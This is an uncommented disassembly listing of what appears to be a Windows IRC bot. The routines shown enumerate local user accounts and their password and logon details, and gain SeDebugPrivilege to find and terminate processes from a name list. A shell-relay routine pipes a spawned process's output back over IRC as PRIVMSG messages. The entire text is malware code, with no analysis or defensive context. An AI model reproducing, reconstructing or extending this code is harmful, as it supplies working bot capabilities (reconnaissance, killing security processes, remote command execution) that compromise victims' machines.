push offset aAuthFlagsD ; "Auth Flags: %d"
push eax
call sub_41C266
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_409869
mov eax, [ebp+var_4]
add esp, 20h
push dword ptr [eax+1Ch]
lea eax, [ebp+var_204]
push offset aHomeDirectoryS ; "Home Directory: %S"
push eax
call sub_41C266
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_409869
mov eax, [ebp+var_4]
add esp, 20h
push dword ptr [eax+20h]
lea eax, [ebp+var_204]
push offset aParametersS ; "Parameters: %S"
push eax
call sub_41C266
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_409869
mov eax, [ebp+var_4]
add esp, 20h
push dword ptr [eax+18h]
lea eax, [ebp+var_204]
push offset aPasswordAgeD ; "Password Age: %d"
push eax
call sub_41C266
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_409869
mov eax, [ebp+var_4]
add esp, 20h
push dword ptr [eax+2Ch]
lea eax, [ebp+var_204]
push offset aBadPasswordCou ; "Bad Password Count: %d"
push eax
call sub_41C266
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_409869
mov eax, [ebp+var_4]
add esp, 20h
push dword ptr [eax+30h]
lea eax, [ebp+var_204]
push offset aNumberOfLogins ; "Number of Logins: %d"
push eax
call sub_41C266
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_409869
mov eax, [ebp+var_4]
add esp, 20h
push dword ptr [eax+24h]
lea eax, [ebp+var_204]
push offset aLastLogonD ; "Last Logon: %d"
push eax
call sub_41C266
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_409869
mov eax, [ebp+var_4]
add esp, 20h
push dword ptr [eax+28h]
lea eax, [ebp+var_204]
push offset aLastLogoffD ; "Last Logoff: %d"
push eax
call sub_41C266
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_409869
mov eax, [ebp+var_4]
add esp, 20h
push dword ptr [eax+34h]
lea eax, [ebp+var_204]
push offset aLogonServerS ; "Logon Server: %S"
push eax
call sub_41C266
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_409869
mov eax, [ebp+var_4]
add esp, 20h
push dword ptr [eax+3Ch]
lea eax, [ebp+var_204]
push offset aWorkstationsS ; "Workstations: %S"
push eax
call sub_41C266
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_409869
mov eax, [ebp+var_4]
add esp, 20h
push dword ptr [eax+38h]
lea eax, [ebp+var_204]
push offset aCountryCodeD ; "Country Code: %d"
push eax
call sub_41C266
push 1
push esi
lea eax, [ebp+var_204]
push eax
push edi
push ebx
call sub_409869
mov eax, [ebp+var_4]
add esp, 20h
push dword ptr [eax+4Ch]
lea eax, [ebp+var_204]
push offset aUserSLanguageD ; "User's Language: %d"
push eax
call sub_41C266
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_409869
mov eax, [ebp+var_4]
add esp, 20h
push dword ptr [eax+40h]
lea eax, [ebp+var_204]
push offset aMax_StorageD ; "Max. Storage: %d"
push eax
call sub_41C266
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_409869
mov eax, [ebp+var_4]
add esp, 20h
push dword ptr [eax+44h]
lea eax, [ebp+var_204]
push offset aUnitsPerWeekD ; "Units Per Week: %d"
push eax
call sub_41C266
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_409869
add esp, 20h
pop edi
pop ebx
jmp short loc_419817
; ---------------------------------------------------------------------------
loc_4197EB: ; CODE XREF: sub_419443+35j
push eax
lea eax, [ebp+var_204]
push offset unk_439CE8
push eax
call sub_41C266
push 0
lea eax, [ebp+var_204]
push [ebp+arg_10]
push eax
push [ebp+arg_C]
push [ebp+arg_8]
call sub_409869
add esp, 20h
loc_419817: ; CODE XREF: sub_419443+3A6j
cmp [ebp+var_4], 0
jz short loc_419826
push [ebp+var_4]
call dword_4CBA64
loc_419826: ; CODE XREF: sub_419443+40j
; sub_419443+3D8j
mov eax, [ebp+arg_0]
pop esi
leave
retn
sub_419443 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41982C proc near ; CODE XREF: sub_401ACD+463Ap
var_218 = byte ptr -218h
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 218h
push ebx
push esi
push edi
xor esi, esi
push [ebp+arg_C]
mov [ebp+var_4], esi
call sub_419177
push esi
mov [ebp+var_14], eax
push [ebp+arg_8]
mov [ebp+arg_C], esi
mov [ebp+var_18], esi
mov [ebp+var_10], esi
push offset aUsernameAccoun ; "Username accounts for local system:"
mov [ebp+var_8], esi
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409869
add esp, 18h
loc_41986B: ; CODE XREF: sub_41982C+135j
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_18]
push eax
lea eax, [ebp+arg_C]
push eax
lea eax, [ebp+var_4]
push 0FFFFFFFFh
push eax
push 2
push esi
push [ebp+var_14]
call dword_4CB934
cmp eax, esi
mov [ebp+var_C], eax
jz short loc_4198CC
cmp eax, 0EAh
jz short loc_4198CC
push eax
push eax
call sub_4199AC
pop ecx
push eax
lea eax, [ebp+var_218]
push offset unk_439ED8
push eax
call sub_41C266
push esi
lea eax, [ebp+var_218]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409869
add esp, 24h
jmp short loc_419947
; ---------------------------------------------------------------------------
loc_4198CC: ; CODE XREF: sub_41982C+62j
; sub_41982C+69j
mov edi, [ebp+var_4]
cmp edi, esi
jz loc_41995A
xor ebx, ebx
cmp [ebp+arg_C], esi
jbe short loc_419947
loc_4198DE: ; CODE XREF: sub_41982C+EDj
cmp edi, esi
jz short loc_41991D
push dword ptr [edi]
lea eax, [ebp+var_218]
push offset aS_4 ; " %S"
push eax
call sub_41C266
push 1
lea eax, [ebp+var_218]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409869
add esp, 20h
add edi, 4
inc [ebp+var_8]
inc ebx
cmp ebx, [ebp+arg_C]
jb short loc_4198DE
jmp short loc_419947
; ---------------------------------------------------------------------------
loc_41991D: ; CODE XREF: sub_41982C+B4j
lea eax, [ebp+var_218]
push offset unk_439EA4
push eax
call sub_41C266
push esi
lea eax, [ebp+var_218]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409869
add esp, 1Ch
loc_419947: ; CODE XREF: sub_41982C+9Ej
; sub_41982C+B0j ...
mov edi, [ebp+var_4]
cmp edi, esi
jz short loc_41995A
push edi
call dword_4CBA64
xor edi, edi
mov [ebp+var_4], edi
loc_41995A: ; CODE XREF: sub_41982C+A5j
; sub_41982C+120j
cmp [ebp+var_C], 0EAh
jz loc_41986B
cmp edi, esi
jz short loc_419972
push edi
call dword_4CBA64
loc_419972: ; CODE XREF: sub_41982C+13Dj
push [ebp+var_8]
lea eax, [ebp+var_218]
push offset aTotalUsersFoun ; "Total users found: %d."
push eax
call sub_41C266
push esi
lea eax, [ebp+var_218]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409869
add esp, 20h
xor eax, eax
cmp [ebp+var_C], esi
pop edi
pop esi
setz al
pop ebx
leave
retn
sub_41982C endp
; =============== S U B R O U T I N E =======================================
sub_4199AC proc near ; CODE XREF: sub_418FE5+41p
; sub_4191DB+69p ...
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
mov ecx, 858h
cmp eax, ecx
ja loc_419A5E
jz loc_419A57
cmp eax, 7Bh
ja short loc_419A23
jz short loc_419A19
cmp eax, 5
jz short loc_419A0F
cmp eax, 8
jz short loc_419A05
cmp eax, 32h
jz short loc_4199FB
cmp eax, 35h
jz short loc_4199F1
cmp eax, 57h
jnz loc_419AAD
push offset aInvalidParamet ; "Invalid parameter."
jmp loc_419ACE
; ---------------------------------------------------------------------------
loc_4199F1: ; CODE XREF: sub_4199AC+30j
push offset aServerNameNotF ; "Server name not found."
jmp loc_419ACE
; ---------------------------------------------------------------------------
loc_4199FB: ; CODE XREF: sub_4199AC+2Bj
push offset aThisNetworkReq ; "This network request is not supported."
jmp loc_419ACE
; ---------------------------------------------------------------------------
loc_419A05: ; CODE XREF: sub_4199AC+26j
push offset aNotEnoughMemor ; "Not enough memory."
jmp loc_419ACE
; ---------------------------------------------------------------------------
loc_419A0F: ; CODE XREF: sub_4199AC+21j
push offset aAccessDenied_ ; "Access denied."
jmp loc_419ACE
; ---------------------------------------------------------------------------
loc_419A19: ; CODE XREF: sub_4199AC+1Cj
push offset aTheNameIsInval ; "The name is invalid."
jmp loc_419ACE
; ---------------------------------------------------------------------------
loc_419A23: ; CODE XREF: sub_4199AC+1Aj
sub eax, 7Ch
jz short loc_419A50
sub eax, 7C8h
jz short loc_419A49
dec eax
jz short loc_419A3F
dec eax
jnz short loc_419AAD
push offset aDuplicateShare ; "Duplicate share name."
jmp loc_419ACE
; ---------------------------------------------------------------------------
loc_419A3F: ; CODE XREF: sub_4199AC+84j
push offset aInvalidForRedi ; "Invalid for redirected resource."
jmp loc_419ACE
; ---------------------------------------------------------------------------
loc_419A49: ; CODE XREF: sub_4199AC+81j
push offset aDeviceOrDirect ; "Device or directory does not exist."
jmp short loc_419ACE
; ---------------------------------------------------------------------------
loc_419A50: ; CODE XREF: sub_4199AC+7Aj
push offset aLevelParameter ; "Level parameter is invalid."
jmp short loc_419ACE
; ---------------------------------------------------------------------------
loc_419A57: ; CODE XREF: sub_4199AC+11j
push offset aAGeneralFailur ; "A general failure occurred in the netwo"...
jmp short loc_419ACE
; ---------------------------------------------------------------------------
loc_419A5E: ; CODE XREF: sub_4199AC+Bj
mov ecx, 8C5h
cmp eax, ecx
ja short loc_419A97
jz short loc_419A90
sub eax, 8ADh
jz short loc_419AC2
dec eax
dec eax
jz short loc_419A89
dec eax
jz short loc_419A82
dec eax
dec eax
jnz short loc_419AAD
push offset aTheOperationIs ; "The operation is allowed only on the pr"...
jmp short loc_419ACE
; ---------------------------------------------------------------------------
loc_419A82: ; CODE XREF: sub_4199AC+C9j
push offset aTheUserAccount ; "The user account already exists."
jmp short loc_419ACE
; ---------------------------------------------------------------------------
loc_419A89: ; CODE XREF: sub_4199AC+C6j
push offset aTheGroupAlread ; "The group already exists."
jmp short loc_419ACE
; ---------------------------------------------------------------------------
loc_419A90: ; CODE XREF: sub_4199AC+BBj
push offset aThePasswordIsS ; "The password is shorter than required ("...
jmp short loc_419ACE
; ---------------------------------------------------------------------------
loc_419A97: ; CODE XREF: sub_4199AC+B9j
sub eax, 8CAh
jz short loc_419AC9
sub eax, 17h
jz short loc_419AC2
sub eax, 25h
jz short loc_419ABB
sub eax, 29h
jz short loc_419AB4
loc_419AAD: ; CODE XREF: sub_4199AC+35j
; sub_4199AC+87j ...
push offset aAnUnknownErr_0 ; "An unknown error occurred."
jmp short loc_419ACE
; ---------------------------------------------------------------------------
loc_419AB4: ; CODE XREF: sub_4199AC+FFj
push offset aTheComputerNam ; "The computer name is invalid."
jmp short loc_419ACE
; ---------------------------------------------------------------------------
loc_419ABB: ; CODE XREF: sub_4199AC+FAj
push offset aShareNotFound_ ; "Share not found."
jmp short loc_419ACE
; ---------------------------------------------------------------------------
loc_419AC2: ; CODE XREF: sub_4199AC+C2j
; sub_4199AC+F5j
push offset aTheUserNameCou ; "The user name could not be found."
jmp short loc_419ACE
; ---------------------------------------------------------------------------
loc_419AC9: ; CODE XREF: sub_4199AC+F0j
push offset aNetworkConnect ; "Network connection not found."
loc_419ACE: ; CODE XREF: sub_4199AC+40j
; sub_4199AC+4Aj ...
push offset dword_4DB5E0
call sub_41C266
pop ecx
mov eax, offset dword_4DB5E0
pop ecx
retn
sub_4199AC endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_419AE0 proc near ; CODE XREF: sub_401ACD+467Fp
var_718 = byte ptr -718h
var_318 = byte ptr -318h
var_108 = byte ptr -108h
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 718h
push esi
push 200h
push [ebp+arg_0]
lea eax, [ebp+var_718]
push eax
call sub_41E0D4
add esp, 0Ch
lea eax, [ebp+arg_0]
mov esi, 108h
push eax
lea eax, [ebp+var_108]
push eax
mov [ebp+arg_0], esi
call ds:dword_4270C8 ; GetComputerNameA
lea eax, [ebp+var_108]
push esi
push eax
lea eax, [ebp+var_318]
push eax
call sub_41E0D4
lea eax, [ebp+var_718]
push eax
call sub_41E0B7
add esp, 10h
shl eax, 1
push eax
lea eax, [ebp+var_718]
push eax
lea eax, [ebp+var_318]
push 0
push eax
push 0
call dword_4CB9E4
test eax, eax
jnz short loc_419B70
mov esi, offset dword_4DB3DC
push offset unk_43A20C
push esi
call sub_41C266
pop ecx
pop ecx
jmp short loc_419B99
; ---------------------------------------------------------------------------
loc_419B70: ; CODE XREF: sub_419AE0+7Aj
lea ecx, [ebp+var_718]
push ecx
lea ecx, [ebp+var_318]
push ecx
push eax
call sub_4199AC
pop ecx
mov esi, offset dword_4DB3DC
push eax
push offset dword_43A1E0
push esi
call sub_41C266
add esp, 14h
loc_419B99: ; CODE XREF: sub_419AE0+8Ej
mov eax, esi
pop esi
leave
retn
sub_419AE0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_419B9E proc near ; CODE XREF: sub_4172C1+45p
; sub_4172C1+166p ...
var_14 = dword ptr -14h
var_10 = byte ptr -10h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 14h
lea eax, [ebp+var_4]
push eax
push 28h
call ds:dword_427104 ; GetCurrentProcess
push eax
call dword_4CB9B8 ; OpenProcessToken
test eax, eax
jnz short loc_419BBD
leave
retn
; ---------------------------------------------------------------------------
loc_419BBD: ; CODE XREF: sub_419B9E+1Bj
lea eax, [ebp+var_10]
push esi
push eax
xor esi, esi
push [ebp+arg_0]
push esi
call dword_4CB990 ; LookupPrivilegeValueA
test eax, eax
jz short loc_419BFB
cmp [ebp+arg_4], esi
mov [ebp+var_14], 1
jz short loc_419BE4
or [ebp+var_8], 2
jmp short loc_419BE8
; ---------------------------------------------------------------------------
loc_419BE4: ; CODE XREF: sub_419B9E+3Ej
and [ebp+var_8], 0FFFFFFFDh
loc_419BE8: ; CODE XREF: sub_419B9E+44j
push esi
push esi
lea eax, [ebp+var_14]
push esi
push eax
push esi
push [ebp+var_4]
call dword_4CBA40 ; AdjustTokenPrivileges
mov esi, eax
loc_419BFB: ; CODE XREF: sub_419B9E+32j
push [ebp+var_4]
call ds:dword_427070 ; CloseHandle
mov eax, esi
pop esi
leave
retn
sub_419B9E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_419C09 proc near ; CODE XREF: sub_401ACD+7770p
; sub_419E38+74p ...
var_554 = byte ptr -554h
var_354 = dword ptr -354h
var_350 = byte ptr -350h
var_234 = byte ptr -234h
var_130 = dword ptr -130h
var_12C = byte ptr -12Ch
var_128 = dword ptr -128h
var_10C = byte ptr -10Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
push ebp
mov ebp, esp
sub esp, 554h
push ebx
push esi
push edi
push 49h
xor ebx, ebx
pop ecx
xor eax, eax
cmp dword_4CB9F4, ebx
lea edi, [ebp+var_12C]
mov [ebp+var_130], ebx
rep stosd
mov ecx, 88h
lea edi, [ebp+var_350]
mov [ebp+var_354], ebx
rep stosd
jz loc_419E08
cmp dword_4CB9D8, ebx
jz loc_419E08
cmp dword_4CB8E8, ebx
jz loc_419E08
push 1
push offset aSedebugprivile ; "SeDebugPrivilege"
call sub_419B9E
pop ecx
pop ecx
push ebx
push 0Fh
call dword_4CB9F4 ; CreateToolhelp32Snapshot
mov edi, eax
cmp edi, 0FFFFFFFFh
mov [ebp+var_8], edi
jz loc_419DFB
lea eax, [ebp+var_130]
mov [ebp+var_130], 128h
push eax
push edi
call dword_4CB9D8 ; Process32First
mov esi, ds:dword_427070
test eax, eax
jz loc_419DF6
lea eax, [ebp+var_130]
push eax
push edi
call dword_4CB8E8 ; Process32Next
test eax, eax
jz loc_419DF6
mov edi, ds:dword_42708C
mov ebx, 1F0FFFh
loc_419CCD: ; CODE XREF: sub_419C09+1E5j
xor eax, eax
cmp [ebp+arg_10], eax
jz short loc_419D34
mov [ebp+var_4], offset off_43A238
loc_419CDB: ; CODE XREF: sub_419C09+F3j
mov eax, [ebp+var_4]
push dword ptr [eax]
lea eax, [ebp+var_10C]
push eax
call ds:dword_42718C ; lstrcmpi
test eax, eax
jz short loc_419D03
add [ebp+var_4], 4
cmp [ebp+var_4], offset aI11r54n4_exe ; "i11r54n4.exe"
jb short loc_419CDB
jmp loc_419DDC
; ---------------------------------------------------------------------------
loc_419D03: ; CODE XREF: sub_419C09+E6j
push [ebp+var_128]
push 0
push ebx
call edi ; OpenProcess
test eax, eax
mov [ebp+var_4], eax
jz loc_419DDC
push 0
push eax
call ds:dword_4270FC ; TerminateProcess
test eax, eax
jnz loc_419DDC
loc_419D2A: ; CODE XREF: sub_419C09+1B9j
push [ebp+var_4]
call esi ; CloseHandle
jmp loc_419DDC
; ---------------------------------------------------------------------------
loc_419D34: ; CODE XREF: sub_419C09+C9j
cmp [ebp+arg_C], eax
jnz loc_419DC7
cmp [ebp+arg_4], eax
jz loc_419DDC
push [ebp+var_128]
push 8
call dword_4CB9F4 ; CreateToolhelp32Snapshot
cmp [ebp+arg_14], 0
mov [ebp+var_4], eax
mov [ebp+var_354], 224h
jz short loc_419D87
lea ecx, [ebp+var_354]
push ecx
push eax
call dword_4CB894 ; Module32First
push [ebp+var_128]
test eax, eax
jz short loc_419D8D
lea eax, [ebp+var_234]
jmp short loc_419D93
; ---------------------------------------------------------------------------
loc_419D87: ; CODE XREF: sub_419C09+15Cj
push [ebp+var_128]
loc_419D8D: ; CODE XREF: sub_419C09+174j
lea eax, [ebp+var_10C]
loc_419D93: ; CODE XREF: sub_419C09+17Cj
push eax
lea eax, [ebp+var_554]
push offset aSD_0 ; " %s (%d)"
push eax
call sub_41C266
add esp, 10h
lea eax, [ebp+var_554]
push 1
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409869
add esp, 14h
jmp loc_419D2A
; ---------------------------------------------------------------------------
loc_419DC7: ; CODE XREF: sub_419C09+12Ej
push [ebp+arg_C]
lea eax, [ebp+var_10C]
push eax
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz short loc_419E0F
loc_419DDC: ; CODE XREF: sub_419C09+F5j
; sub_419C09+10Aj ...
lea eax, [ebp+var_130]
push eax
push [ebp+var_8]
call dword_4CB8E8 ; Process32Next
test eax, eax
jnz loc_419CCD
xor ebx, ebx
loc_419DF6: ; CODE XREF: sub_419C09+9Dj
; sub_419C09+B3j
push [ebp+var_8]
call esi ; CloseHandle
loc_419DFB: ; CODE XREF: sub_419C09+77j
push ebx
push offset aSedebugprivile ; "SeDebugPrivilege"
call sub_419B9E
pop ecx
pop ecx
loc_419E08: ; CODE XREF: sub_419C09+3Aj
; sub_419C09+46j ...
xor eax, eax
loc_419E0A: ; CODE XREF: sub_419C09+22Dj
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_419E0F: ; CODE XREF: sub_419C09+1D1j
push [ebp+var_128]
push 0
push ebx
call edi ; OpenProcess
push [ebp+var_8]
mov edi, eax
call esi ; CloseHandle
push 0
push edi
call ds:dword_4270FC ; TerminateProcess
test eax, eax
jnz short loc_419E33
push edi
call esi ; CloseHandle
jmp short loc_419E08
; ---------------------------------------------------------------------------
loc_419E33: ; CODE XREF: sub_419C09+223j
push 1
pop eax
jmp short loc_419E0A
sub_419C09 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_419E38 proc near ; DATA XREF: sub_401ACD+2687o
var_298 = byte ptr -298h
var_98 = dword ptr -98h
var_94 = byte ptr -94h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 298h
mov eax, [ebp+arg_0]
push esi
push edi
push 26h
pop ecx
mov esi, eax
lea edi, [ebp+var_98]
push offset unk_43A438
rep movsd
mov dword ptr [eax+94h], 1
lea eax, [ebp+var_298]
push eax
call sub_41C266
xor esi, esi
pop ecx
cmp [ebp+var_8], esi
pop ecx
jnz short loc_419E97
push esi
lea eax, [ebp+var_298]
push [ebp+var_C]
push eax
lea eax, [ebp+var_94]
push eax
push [ebp+var_98]
call sub_409869
add esp, 14h
loc_419E97: ; CODE XREF: sub_419E38+3Dj
push [ebp+var_10]
lea eax, [ebp+var_94]
push esi
push esi
push [ebp+var_C]
push eax
push [ebp+var_98]
call sub_419C09
add esp, 18h
test eax, eax
jnz short loc_419EBF
push offset unk_43A414
jmp short loc_419EC4
; ---------------------------------------------------------------------------
loc_419EBF: ; CODE XREF: sub_419E38+7Ej
push offset unk_43A3F0
loc_419EC4: ; CODE XREF: sub_419E38+85j
lea eax, [ebp+var_298]
push eax
call sub_41C266
cmp [ebp+var_8], esi
pop ecx
pop ecx
jnz short loc_419EF7
push esi
lea eax, [ebp+var_298]
push [ebp+var_C]
push eax
lea eax, [ebp+var_94]
push eax
push [ebp+var_98]
call sub_409869
add esp, 14h
loc_419EF7: ; CODE XREF: sub_419E38+9Dj
lea eax, [ebp+var_298]
push eax
call sub_415D38
push [ebp+var_14]
call sub_40B6D6
pop ecx
pop ecx
push esi
call ds:dword_4270D4 ; ExitThread
pop edi
pop esi
sub_419E38 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_419F16 proc near ; CODE XREF: sub_401ACD+7712p
; sub_40B4F5+53p
arg_0 = dword ptr 4
push esi
push edi
push 1
pop edi
push [esp+8+arg_0]
push 0
push 1F0FFFh
call ds:dword_42708C ; OpenProcess
mov esi, eax
test esi, esi
jz short loc_419F48
push 0
push esi
call ds:dword_4270FC ; TerminateProcess
test eax, eax
jnz short loc_419F48
push esi
xor edi, edi
call ds:dword_427070 ; CloseHandle
loc_419F48: ; CODE XREF: sub_419F16+1Aj
; sub_419F16+27j
mov eax, edi
pop edi
pop esi
retn
sub_419F16 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_419F4D proc near ; DATA XREF: sub_401221+3CDo
push esi
xor esi, esi
loc_419F50: ; CODE XREF: sub_419F4D+1Ej
push 1
push esi
push esi
push esi
push esi
push esi
call sub_419C09
add esp, 18h
push dword_43A234
call ds:dword_427080 ; Sleep
jmp short loc_419F50
sub_419F4D endp
; =============== S U B R O U T I N E =======================================
sub_419F6D proc near ; CODE XREF: sub_419F9D+2Ap
; sub_419FD5+7Ep ...
mov eax, dword_4DBC48
push esi
mov esi, ds:dword_427070
cmp eax, 0FFFFFFFFh
jz short loc_419F81
push eax
call esi ; CloseHandle
loc_419F81: ; CODE XREF: sub_419F6D+Fj
mov eax, dword_4DBC50
cmp eax, 0FFFFFFFFh
jz short loc_419F8E
push eax
call esi ; CloseHandle
loc_419F8E: ; CODE XREF: sub_419F6D+1Cj
mov eax, dword_4DBC44
cmp eax, 0FFFFFFFFh
jz short loc_419F9B
push eax
call esi ; CloseHandle
loc_419F9B: ; CODE XREF: sub_419F6D+29j
pop esi
retn
sub_419F6D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_419F9D proc near ; CODE XREF: sub_401ACD+7475p
; sub_416000+14Ap
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push [ebp+arg_0]
call sub_41B9C0
pop ecx
mov [ebp+var_4], eax
lea ecx, [ebp+var_4]
push 0
push ecx
push eax
push [ebp+arg_0]
push dword_4DBC4C
call ds:dword_4270F0 ; WriteFile
test eax, eax
jnz short loc_419FD0
call sub_419F6D
xor eax, eax
leave
retn
; ---------------------------------------------------------------------------
loc_419FD0: ; CODE XREF: sub_419F9D+28j
push 1
pop eax
leave
retn
sub_419F9D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_419FD5 proc near ; CODE XREF: sub_41A05C+D3p
; sub_41A05C+F2p ...
var_200 = byte ptr -200h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 200h
push offset byte_43DB88
push [ebp+arg_4]
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz short loc_41A018
push 7D0h
call ds:dword_427080 ; Sleep
push [ebp+arg_8]
lea eax, [ebp+var_200]
push [ebp+arg_4]
push offset aPrivmsgSS_1 ; "PRIVMSG %s :%s\r"
push eax
call sub_41C266
add esp, 10h
jmp short loc_41A02F
; ---------------------------------------------------------------------------
loc_41A018: ; CODE XREF: sub_419FD5+1Aj
push [ebp+arg_8]
lea eax, [ebp+var_200]
push offset aS_8 ; "%s"
push eax
call sub_41C266
add esp, 0Ch
loc_41A02F: ; CODE XREF: sub_419FD5+41j
lea eax, [ebp+var_200]
push 0
push eax
call sub_41B9C0
pop ecx
push eax
lea eax, [ebp+var_200]
push eax
push [ebp+arg_0]
call dword_4CBA24 ; send
test eax, eax
jg short loc_41A058
call sub_419F6D
loc_41A058: ; CODE XREF: sub_419FD5+7Cj
xor eax, eax
leave
retn
sub_419FD5 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41A05C proc near ; DATA XREF: sub_41A1B1+170o
var_20C = byte ptr -20Ch
var_C = byte ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 20Ch
push ebx
push esi
push edi
mov esi, 200h
xor edi, edi
mov ebx, offset dword_4DBC54
loc_41A074: ; CODE XREF: sub_41A05C+79j
; sub_41A05C+DBj
push esi
lea eax, [ebp+var_20C]
push edi
push eax
call sub_41BF70
add esp, 0Ch
lea eax, [ebp+var_4]
push edi
push edi
push eax
lea eax, [ebp+var_20C]
push esi
push eax
push dword_4DBC48
call ds:dword_427194 ; PeekNamedPipe
test eax, eax
jz loc_41A142
cmp [ebp+var_4], edi
jnz short loc_41A0D7
lea eax, [ebp+var_8]
push eax
push dword_4DBC44
call ds:dword_427190 ; GetExitCodeProcess
test eax, eax
jz short loc_41A0CD
cmp [ebp+var_8], 103h
jnz loc_41A166
loc_41A0CD: ; CODE XREF: sub_41A05C+62j
push 0Ah
call ds:dword_427080 ; Sleep
jmp short loc_41A074
; ---------------------------------------------------------------------------
loc_41A0D7: ; CODE XREF: sub_41A05C+4Ej
xor eax, eax
cmp [ebp+var_4], edi
jbe short loc_41A0EE
loc_41A0DE: ; CODE XREF: sub_41A05C+90j
cmp [ebp+eax+var_20C], 0Ah
jz short loc_41A13C
inc eax
cmp eax, [ebp+var_4]
jb short loc_41A0DE
loc_41A0EE: ; CODE XREF: sub_41A05C+80j
mov [ebp+var_4], esi
loc_41A0F1: ; CODE XREF: sub_41A05C+E4j
push esi
lea eax, [ebp+var_20C]
push edi
push eax
call sub_41BF70
add esp, 0Ch
lea eax, [ebp+var_C]
push edi
push eax
push [ebp+var_4]
lea eax, [ebp+var_20C]
push eax
push dword_4DBC48
call ds:dword_4270EC ; ReadFile
test eax, eax
jz short loc_41A18E
lea eax, [ebp+var_20C]
push eax
push ebx
push dword_4DBC88
call sub_419FD5
add esp, 0Ch
jmp loc_41A074
; ---------------------------------------------------------------------------
loc_41A13C: ; CODE XREF: sub_41A05C+8Aj
inc eax
mov [ebp+var_4], eax
jmp short loc_41A0F1
; ---------------------------------------------------------------------------
loc_41A142: ; CODE XREF: sub_41A05C+45j
push offset unk_43A4C0
push ebx
push dword_4DBC88
call sub_419FD5
push [ebp+arg_0]
call sub_40B6D6
add esp, 10h
push 1
call ds:dword_4270D4 ; ExitThread
loc_41A166: ; CODE XREF: sub_41A05C+6Bj
call sub_419F6D
push offset unk_43A498
push ebx
push dword_4DBC88
call sub_419FD5
push [ebp+arg_0]
call sub_40B6D6
add esp, 10h
push edi
call ds:dword_4270D4 ; ExitThread
loc_41A18E: ; CODE XREF: sub_41A05C+C3j
push offset unk_43A468
push ebx
push dword_4DBC88
call sub_419FD5
push [ebp+arg_0]
call sub_40B6D6
add esp, 10h
push edi
call ds:dword_4270D4 ; ExitThread
sub_41A05C endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41A1B1 proc near ; CODE XREF: sub_401ACD+24AAp
; sub_416000+99p
var_378 = byte ptr -378h
var_178 = byte ptr -178h
var_74 = dword ptr -74h
var_48 = dword ptr -48h
var_44 = word ptr -44h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = byte ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 378h
push ebx
